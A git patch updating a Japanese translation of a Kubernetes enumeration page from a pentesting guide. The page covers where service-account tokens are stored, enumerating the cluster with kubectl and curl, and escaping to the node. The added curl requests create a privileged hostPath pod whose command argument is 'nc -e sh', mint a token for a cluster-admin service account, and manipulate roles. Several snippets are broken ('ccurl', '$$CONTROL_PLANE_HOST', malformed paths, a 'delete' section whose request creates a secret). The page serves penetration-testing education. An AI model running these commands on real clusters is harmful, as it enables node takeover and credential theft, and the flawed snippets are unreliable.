From a0cdf9250d9b5771b361263baa9d71338ae5a04c Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 22 Jan 2025 09:51:43 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-enumera --- src/SUMMARY.md | 14 +- .../kubernetes-enumeration.md | 266 ++++++++++++++++-- 2 files changed, 245 insertions(+), 35 deletions(-) diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 7ab73713c..6172b28d3 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -451,8 +451,8 @@ - [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md) - [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md) - [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md) - - [Az - MySQL](pentesting-cloud/azure-security/az-services/az-mysql-post-exploitation.md) - - [Az - PostgreSQL](pentesting-cloud/azure-security/az-services/az-postgresql-post-exploitation.md) + - [Az - MySQL](pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md) + - [Az - PostgreSQL](pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md) - [Az - Queue Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md) - [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md) - [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md) @@ -462,16 +462,16 @@ - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-services/az-container-registry-privesc.md) - - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-services/az-container-instances-privesc.md) - - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-services/az-cosmosDB-privesc.md) + - [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md) + - [Az - Container Instances Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-instances-privesc.md) + - [Az - CosmosDB Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) - [Az - Functions App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md) - [Az - Key Vault Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md) - - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-services/az-mysql-privesc.md) - - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-services/az-postgresql-privesc.md) + - [Az - MySQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md) + - [Az - PostgreSQL Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-postgresql-privesc.md) - [Az - Queue Storage Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-queue-privesc.md) - [Az - Service Bus Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-servicebus-privesc.md) - [Az - Static Web App Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-static-web-apps-privesc.md) diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md index 4259b15e5..f86e74457 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-enumeration.md @@ -6,9 +6,9 @@ もしあなたがマシンへのアクセスを侵害した場合、ユーザーはKubernetesプラットフォームにアクセスできるかもしれません。トークンは通常、**env var `KUBECONFIG`**で指し示されるファイルか、**`~/.kube`**の中にあります。 -このフォルダには、**APIサーバーに接続するためのトークンと設定を含む設定ファイル**が見つかるかもしれません。このフォルダには、以前に取得した情報を含むキャッシュフォルダも見つかります。 +このフォルダには、**APIサーバーに接続するためのトークンと設定を含む設定ファイル**が見つかるかもしれません。このフォルダには、以前に取得した情報を含むキャッシュフォルダもあります。 -Kubernetes環境内のポッドを侵害した場合、現在のK8環境に関するトークンや情報を見つけることができる他の場所があります: +Kubernetes環境内のポッドを侵害した場合、トークンや現在のK8環境に関する情報を見つけることができる他の場所があります: ### Service Account Tokens @@ -21,13 +21,13 @@ _「ポッドを作成する際、サービスアカウントを指定しない **ServiceAccount**はKubernetesによって管理されるオブジェクトで、ポッド内で実行されるプロセスにアイデンティティを提供するために使用されます。\ すべてのサービスアカウントにはそれに関連するシークレットがあり、このシークレットにはベアラートークンが含まれています。これはJSON Web Token(JWT)であり、2者間での主張を安全に表現する方法です。 -通常、次のディレクトリの**1つ**に: +通常、次のディレクトリの**1つ**に含まれています: - `/run/secrets/kubernetes.io/serviceaccount` - `/var/run/secrets/kubernetes.io/serviceaccount` - `/secrets/kubernetes.io/serviceaccount` -ファイルが含まれています: +含まれるファイル: - **ca.crt**: Kubernetes通信を確認するためのCA証明書です - **namespace**: 現在の名前空間を示します @@ -63,12 +63,12 @@ _**Hot podsは**_ 特権サービスアカウントトークンを含むポッ K8s環境を列挙するには、次のものが必要です: - **有効な認証トークン**。前のセクションでユーザートークンとサービスアカウントトークンの検索場所を見ました。 -- **Kubernetes APIのアドレス(**_**https://host:port**_**)**。これは通常、環境変数やkube設定ファイルに見つかります。 +- **Kubernetes APIのアドレス**(_**https://host:port**_)。これは通常、環境変数やkube設定ファイルに見つかります。 - **オプション**: **APIサーバーを検証するためのca.crt**。これはトークンが見つかるのと同じ場所にあります。これはAPIサーバー証明書を検証するのに役立ちますが、`kubectl`で`--insecure-skip-tls-verify`を使用するか、`curl`で`-k`を使用すれば必要ありません。 これらの詳細を使用して、**Kubernetesを列挙**できます。何らかの理由で**API**が**インターネット**を通じて**アクセス可能**であれば、その情報をダウンロードしてホストからプラットフォームを列挙できます。 -しかし、通常**APIサーバーは内部ネットワーク内にあるため**、侵害されたマシンを通じて**トンネルを作成**して自分のマシンからアクセスする必要があります。または、**`kubectl`**バイナリを**アップロード**するか、**`curl/wget/anything`**を使用してAPIサーバーに生のHTTPリクエストを送信できます。 +しかし、通常**APIサーバーは内部ネットワーク内にあります**。したがって、侵害されたマシンを通じて**トンネルを作成**して自分のマシンからアクセスする必要があります。または、**`kubectl`**バイナリを**アップロード**するか、**`curl/wget/anything`**を使用してAPIサーバーに生のHTTPリクエストを実行できます。 ### Differences between `list` and `get` verbs @@ -83,7 +83,7 @@ GET /apis/apps/v1/namespaces/{namespace}/deployments #In all namespaces GET /apis/apps/v1/deployments ``` -**`watch`** 権限がある場合、資産を監視するためのAPIリクエストを実行することが許可されています: +**`watch`** 権限がある場合、資産を監視するための API リクエストを実行することが許可されます: ``` GET /apis/apps/v1/deployments?watch=true GET /apis/apps/v1/watch/namespaces/{namespace}/deployments?watch=true @@ -91,7 +91,7 @@ GET /apis/apps/v1/watch/namespaces/{namespace}/deployments/{name} [DEPRECATED] GET /apis/apps/v1/watch/namespaces/{namespace}/deployments [DEPRECATED] GET /apis/apps/v1/watch/deployments [DEPRECATED] ``` -ストリーミング接続を開き、Deploymentが変更されるたび(または新しいものが作成されるとき)に完全なマニフェストを返します。 +彼らは、変更があるたび(または新しいものが作成されるとき)に、Deploymentの完全なマニフェストを返すストリーミング接続を開きます。 > [!CAUTION] > 次の `kubectl` コマンドは、オブジェクトをリストする方法を示しています。データにアクセスしたい場合は、`get` の代わりに `describe` を使用する必要があります。 @@ -109,13 +109,13 @@ alias kurl="curl --cacert ${CACERT} --header \"Authorization: Bearer ${TOKEN}\"" # if kurl is still got cert Error, using -k option to solve this. ``` > [!WARNING] -> デフォルトでは、ポッドは **`kubernetes.default.svc`** ドメイン名の **kube-api サーバー** に **アクセス** でき、**`/etc/resolv.config`** で kube ネットワークを見ることができます。ここでは、kubernetes DNS サーバーのアドレスが見つかります(同じ範囲の ".1" が kube-api エンドポイントです)。 +> デフォルトでは、ポッドは**kube-apiサーバー**に**アクセス**でき、ドメイン名**`kubernetes.default.svc`**で確認でき、**`/etc/resolv.config`**にkubeネットワークが表示されます。ここではkubernetes DNSサーバーのアドレスが見つかります(同じ範囲の「.1」がkube-apiエンドポイントです)。 ### Using kubectl -トークンと API サーバーのアドレスを持っている場合、ここに示されているように kubectl または curl を使用してアクセスします: +トークンとAPIサーバーのアドレスを持っている場合、ここに示すようにkubectlまたはcurlを使用してアクセスします: -デフォルトでは、APISERVER は `https://` スキーマで通信しています。 +デフォルトでは、APISERVERは`https://`スキーマで通信しています。 ```bash alias k='kubectl --token=$TOKEN --server=https://$APISERVER --insecure-skip-tls-verify=true [--all-namespaces]' # Use --all-namespaces to always search in all namespaces ``` @@ -150,7 +150,7 @@ kubectl config set-context --current --namespace= {{#endtab }} {{#endtabs }} -もしユーザーの資格情報を盗むことができたら、次のような方法で**ローカルに設定**できます: +ユーザーの資格情報を盗むことに成功した場合、次のような方法で**ローカルに構成**できます: ```bash kubectl config set-credentials USER_NAME \ --auth-provider=oidc \ @@ -163,7 +163,7 @@ kubectl config set-credentials USER_NAME \ ``` ### サポートされているリソースの取得 -この情報を使用すると、リストできるすべてのサービスがわかります +この情報を使用すると、リストできるすべてのサービスを知ることができます。 {{#tabs }} {{#tab name="kubectl" }} @@ -199,13 +199,13 @@ kurl -i -s -k -X $'POST' \ 特権を確認する別の方法は、ツールを使用することです: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\* -**Kubernetes RBAC** について詳しく学ぶことができます: +**Kubernetes RBAC** について詳しく学ぶには、以下を参照してください: {{#ref}} kubernetes-role-based-access-control-rbac.md {{#endref}} -**どの特権を持っているかがわかったら、** 次のページを確認して **それらを悪用して特権を昇格できるかどうかを調べてください:** +**どの特権を持っているかが分かったら、** 次のページを確認して **それらを悪用して特権を昇格できるかどうかを判断してください:** {{#ref}} abusing-roles-clusterroles-in-kubernetes/ @@ -266,13 +266,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/ {{#endtab }} {{#endtabs }} -秘密を読むことができれば、次の行を使用して各トークンに関連する権限を取得できます: +シークレットを読み取ることができれば、次の行を使用して各トークンに関連する権限を取得できます: ```bash for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done ``` ### サービスアカウントの取得 -このページの冒頭で説明したように、**ポッドが実行されると通常サービスアカウントが割り当てられます**。したがって、サービスアカウント、権限、および実行されている場所をリストアップすることで、ユーザーが権限を昇格させることができるかもしれません。 +このページの冒頭で説明したように、**ポッドが実行されると通常サービスアカウントが割り当てられます**。したがって、サービスアカウント、権限、およびそれらが実行されている場所をリストアップすることで、ユーザーが権限を昇格させることができるかもしれません。 {{#tabs }} {{#tab name="kubectl" }} @@ -307,9 +307,9 @@ kurl -v https://$APISERVER/api/v1/namespaces//deployments/ {{#endtab }} {{#endtabs }} -### ポッドを取得する +### Podsを取得する -ポッドは実際の**コンテナ**であり、**実行**されます。 +Podsは実際に**実行**される**コンテナ**です。 {{#tabs }} {{#tab name="kubectl" }} @@ -328,7 +328,7 @@ kurl -v https://$APISERVER/api/v1/namespaces//pods/ ### サービスの取得 -Kubernetes **サービス**は、**特定のポートとIPでサービスを公開するために使用されます**(これは実際にサービスを提供しているポッドへのロードバランサーとして機能します)。これは、攻撃を試みるために他のサービスを見つける場所を知るのに興味深いです。 +Kubernetes **サービス**は、**特定のポートとIPでサービスを公開するために使用されます**(これは、実際にサービスを提供しているポッドへのロードバランサーとして機能します)。これは、攻撃を試みるために他のサービスを見つける場所を知るのに興味深いです。 {{#tabs }} {{#tab name="kubectl" }} @@ -365,7 +365,7 @@ kurl -v https://$APISERVER/api/v1/nodes/ ### DaemonSetsの取得 -**DaemonSets**は、**特定のポッドがクラスタ内のすべてのノード(または選択されたノード)で実行されていることを保証**します。DaemonSetを削除すると、それによって管理されているポッドも削除されます。 +**DaemonSets**は、**特定のポッドがクラスタのすべてのノード(または選択されたノード)で実行されていることを保証**します。DaemonSetを削除すると、それによって管理されているポッドも削除されます。 {{#tabs }} {{#tab name="kubectl" }} @@ -381,7 +381,7 @@ kurl -v https://$APISERVER/apis/extensions/v1beta1/namespaces/default/daemonsets {{#endtab }} {{#endtabs }} -### Cronジョブを取得 +### Cronジョブの取得 Cronジョブは、crontabのような構文を使用して、特定のアクションを実行するポッドの起動をスケジュールすることを可能にします。 @@ -401,7 +401,7 @@ kurl -v https://$APISERVER/apis/batch/v1beta1/namespaces//cronjobs ### configMapを取得する -configMapには常に多くの情報と、kubernetesで実行されるアプリに提供されるconfigfileが含まれています。通常、他の内部/外部サービスに接続および検証するために使用される多くのパスワード、秘密、トークンを見つけることができます。 +configMapには、kubernetesで実行されるアプリに提供される多くの情報や設定ファイルが常に含まれています。通常、他の内部/外部サービスに接続および検証するために使用される多くのパスワード、秘密、トークンを見つけることができます。 {{#tabs }} {{#tab name="kubectl" }} @@ -417,7 +417,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps {{#endtab }} {{#endtabs }} -### ネットワークポリシー / Ciliumネットワークポリシー +### ネットワークポリシー / Ciliumネットワークポリシーの取得 {{#tabs }} {{#tab name="最初のタブ" }} @@ -449,7 +449,7 @@ k get all --all-namespaces -l='app.kubernetes.io/managed-by=Helm' {{#endtab }} {{#endtabs }} -### **ポッドの消費量を取得する** +### **Podの消費量を取得する** {{#tabs }} {{#tab name="kubectl" }} @@ -459,9 +459,13 @@ k top pod --all-namespaces {{#endtab }} {{#endtabs }} +## kubectlを使用せずにクラスターと対話する + +KubernetesのコントロールプレーンがRESTful APIを公開しているため、HTTPリクエストを手動で作成し、**curl**や**wget**などの他のツールで送信できます。 + ### ポッドからの脱出 -新しいポッドを作成できる場合、そこからノードに脱出できるかもしれません。そのためには、yamlファイルを使用して新しいポッドを作成し、作成したポッドに切り替え、次にノードのシステムにchrootする必要があります。既存のポッドをyamlファイルの参考として使用できます。既存のイメージやパスが表示されるためです。 +新しいポッドを作成できる場合、そこからノードに脱出できるかもしれません。そのためには、yamlファイルを使用して新しいポッドを作成し、作成したポッドに切り替え、次にノードのシステムにchrootする必要があります。既存のポッドをyamlファイルの参考として使用できます。既存のイメージやパスを表示しているためです。 ```bash kubectl get pod [-n ] -o yaml ``` @@ -505,7 +509,7 @@ restartPolicy: Never ```bash kubectl apply -f attacker.yaml [-n ] ``` -次のように作成したポッドに切り替えることができます。 +次のようにして作成したポッドに切り替えることができます。 ```bash kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name defined in the yaml file ``` @@ -513,8 +517,214 @@ kubectl exec -it attacker-pod [-n ] -- sh # attacker-pod is the name ```bash chroot /root /bin/bash ``` -情報は次から取得されました: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) +情報は次のから取得されました: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube – Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/) +### 特権ポッドの作成 + +対応するyamlファイルは次のとおりです: +```yaml +apiVersion: v1 +kind: Pod +metadata: +name: everything-allowed-exec-pod +labels: +app: pentest +spec: +hostNetwork: true +hostPID: true +hostIPC: true +containers: +- name: everything-allowed-pod +image: alpine +securityContext: +privileged: true +volumeMounts: +- mountPath: /host +name: noderoot +command: [ "/bin/sh", "-c", "--" ] +args: [ "nc -e sh" ] +#nodeName: k8s-control-plane-node # Force your pod to run on the control-plane node by uncommenting this line and changing to a control-plane node name +volumes: +- name: noderoot +hostPath: +path: / +``` +ポッドをcurlで作成する: +```bash +CONTROL_PLANE_HOST="" +TOKEN="" + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 478' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"labels\":{\"app\":\"pentest\"},\"name\":\"everything-allowed-exec-pod\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"args\":[\"nc -e sh\"],\"command\":[\"/bin/sh\",\"-c\",\"--\"],\"image\":\"alpine\",\"name\":\"everything-allowed-pod\",\"securityContext\":{\"privileged\":true},\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"noderoot\"}]}],\"hostIPC\":true,\"hostNetwork\":true,\"hostPID\":true,\"volumes\":[{\"hostPath\":{\"path\":\"/\"},\"name\":\"noderoot\"}]}}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### Podを削除する + +curlを使用してPodを削除する: +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +POD_NAME="everything-allowed-exec-pod" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/default/pods/$POD_NAME" +``` +### サービスアカウントの作成 +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Length: 109' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### サービスアカウントの削除 +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +SA_NAME="" +NAMESPACE="default" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 35' -H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME" +``` +### ロールを作成する +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Content-Type: application/json' \ +-H $'Accept: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 203' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \ +"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### ロールの削除 +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" +ROLE_NAME="" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles/$ROLE_NAME" +``` +### ロールバインディングの作成 +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 816' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \ +"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### ロールバインディングの削除 +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" +ROLE_BINDING_NAME="" + +curl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME" +``` +### シークレットの削除 +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" + +curl --path-as-is -i -s -k -X $'POST' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Accept: application/json' \ +-H $'Content-Type: application/json' \ +-H $'Content-Length: 219' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/$NAMESPACE/default/secrets?fieldManager=kubectl-client-side-apply&fieldValidation=Strict" +``` +### シークレットの削除 +```bash +CONTROL_PLANE_HOST="" +TOKEN="" +NAMESPACE="default" +SECRET_NAME="" + +ccurl --path-as-is -i -s -k -X $'DELETE' \ +-H "Host: $CONTROL_PLANE_HOST" \ +-H "Authorization: Bearer $TOKEN" \ +-H $'Content-Type: application/json' \ +-H $'Accept: application/json' \ +-H $'User-Agent: kubectl/v1.32.0 (linux/amd64) kubernetes/70d3cc9' \ +-H $'Content-Length: 35' \ +-H $'Accept-Encoding: gzip, deflate, br' \ +--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \ +"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME" +``` ## 参考文献 {{#ref}}